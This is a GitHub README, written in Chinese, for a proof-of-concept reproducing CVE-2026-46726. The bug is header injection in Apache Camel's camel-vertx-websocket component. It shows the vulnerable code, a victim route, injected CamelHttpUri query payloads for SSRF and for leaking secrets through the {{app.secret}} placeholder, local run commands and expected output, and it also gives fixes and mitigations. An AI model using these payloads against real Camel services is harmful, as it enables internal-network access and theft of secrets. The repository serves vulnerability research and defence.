oscerd/CVE-2026-46726

GitHub: oscerd/CVE-2026-46726

该项目复现了 Apache Camel camel-vertx-websocket 组件因未过滤入站 header 而导致的 SSRF 和机密信息泄露漏洞(CVE-2026-46726)。

Stars: 0 | Forks: 0

# camel-vertx-websocket Header 注入复现项目 (CVE-2026-46726) 本项目演示了 Apache Camel 的 `camel-vertx-websocket` 组件中的一个**消息头注入**漏洞, 该漏洞被追踪为 **CVE-2026-46726**(严重程度为 **HIGH**)。Consumer 将入站的 WebSocket **查询参数和路径** 参数映射到了 Camel Exchange 的 header map 中,**却没有应用任何 `HeaderFilterStrategy`** (`VertxWebsocketConsumer.populateExchangeHeaders()`)。由于没有任何机制阻止对 Camel header 命名空间的访问,连接到 WebSocket endpoint 的客户端只需将它们作为查询参数提供,就可以设置 Camel 内部的控制 header —— 包括 `CamelHttpUri`(`Exchange.HTTP_URI`)。 此 PoC 演示了两种影响: 1. **服务端请求伪造 (CWE-918)** — 注入的 `CamelHttpUri` 会将下游的 HTTP producer 重定向到攻击者选定的目标(例如仅限内部的 endpoint 或云元数据服务)。 2. **机密信息泄露 (CWE-200)** — HTTP producer 会对生成(受攻击者控制)的 URI 解析 Camel 的属性占位符,因此嵌入在注入值中的占位符 —— 例如 `{{app.secret}}`、环境变量或 vault 引用 —— 会被解析为其真实值并发送给攻击者。 安全通告:https://camel.apache.org/security/CVE-2026-46726.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-vertx-websocket` | | **受影响类** | `org.apache.camel.component.vertx.websocket.VertxWebsocketConsumer#populateExchangeHeaders`(在入站的查询/路径参数上未应用 HeaderFilterStrategy) | | **CWE** | CWE-20 → CWE-918 (SSRF) 和 CWE-200 (信息暴露) | | **影响** | 通过 WebSocket 查询参数注入 `CamelHttpUri` → 从下游 HTTP producer 发起 SSRF + 通过占位符解析泄露环境变量/属性/vault 机密 | | **前提条件** | WebSocket consumer 桥接到 HTTP producer;如果 WS endpoint 未经过身份验证,则无需验证 | | **严重程度** | HIGH | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) | | **致谢** | Kamalpreet Singh | ## 技术细节 ``` // VertxWebsocketConsumer.populateExchangeHeaders (affected 4.18.2) — inbound params copied with no filter: routingContext.queryParams() .forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value)); // CamelHttpUri passes routingContext.pathParams() .forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value)); // HttpHelper.createURL (camel-http-common) — the header-supplied URI is used AND placeholder-resolved: if (uri == null && !endpoint.isBridgeEndpoint()) { uri = exchange.getIn().getHeader(Exchange.HTTP_URI, String.class); // = injected CamelHttpUri } uri = exchange.getContext().resolvePropertyPlaceholders(uri); // {{app.secret}} -> real value ``` ## 受害路由 ``` from("vertx-websocket:0.0.0.0:8090/feed") .to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false"); ``` 路由作者唯一预期的 HTTP 目标是 `/legit-backend`。因为 `bridgeEndpoint` 默认为 `false`, 入站的 `CamelHttpUri` header 会覆盖该目标 —— 而 WebSocket consumer 会直接从连接的查询字符串中复制它。 ## 仓库结构 所有内容都在一个独立应用中运行:WebSocket consumer、下游的 HTTP sink endpoint 以及 WebSocket 客户端攻击者。 ``` CVE-2026-46726/ ├── pom.xml # camel-vertx-websocket + camel-http 4.18.2 (Netty pinned to 4.1.132, see note) ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── VictimRoute.java # from("vertx-websocket:0.0.0.0:8090/feed").to("http://.../legit-backend") │ ├── SinkController.java # /legit-backend, /internal/secret, /collect (records what the producer hit) │ └── ExploitController.java # attacker: WebSocket client injecting a CamelHttpUri query param └── resources/ └── application.properties # holds the "secret" app.secret property ``` ## 前置条件 - Java 17+ 和 Maven 3.8+ - Docker(可选,用于容器化运行) ## 复现步骤 ### 选项 A — Docker(推荐) ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 选项 B — 直接运行 jar 包 ``` mvn clean package -DskipTests java -jar target/cve-2026-46726-vertx-websocket-0.0.1-SNAPSHOT.jar & curl -s http://localhost:8080/exploit/attack ``` ### 预期输出 ``` === 1) Legitimate WebSocket message (no injected query param) === reached /legit-backend: true reached /internal/secret: false === 2) Injected CamelHttpUri=http://localhost:8080/internal/secret (SSRF) === server-side request reached /internal/secret: true === 3) Injected CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}} (secret disclosure) === attacker's collector received leak = SUPER-SECRET-abc123 equals the app's real secret: true >>> Header-injection proof — an unauthenticated WebSocket client drove the server-side HTTP >>> request via a CamelHttpUri query param: SSRF=true, secret-disclosure=true ``` 攻击者永远不会直接知道 `app.secret`;他们注入占位符 `{{app.secret}}`,然后 HTTP producer 会将其解析,并将真实值(`SUPER-SECRET-abc123`)发送给攻击者的收集器。 ## 攻击向量 任何由 `vertx-websocket` consumer 提供数据,且其下游 producer 行为受 Camel header 控制的路由。可以通过 WebSocket URL 的查询/路径进行注入:`CamelHttpUri`(SSRF + 基于占位符的机密信息泄露)以及其他 Camel 控制 header。 ## 推荐修复方案 升级至 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23532)。修复后,consumer 会应用 `VertxWebsocketHeaderFilterStrategy`,在入站映射时过滤掉 `Camel*` / `camel*` 命名空间。 ## 缓解措施 在升级之前:在任何下游 producer 之前剥离 Camel 控制 header (在路由开始处使用 `.removeHeaders("Camel*")` 和 `.removeHeaders("camel*")`),在 WebSocket endpoint 上要求身份验证,并避免将不受信任的 consumer 直接桥接到目标 URI 可以由消息 header 驱动的 HTTP producer。 ## 免责声明 此复现项目仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, CISA项目, JS文件枚举, Maven, PoC, SSRF, WebSocket, 依赖分析, 域名枚举, 暴力破解, 漏洞复现, 漏洞验证, 请求拦截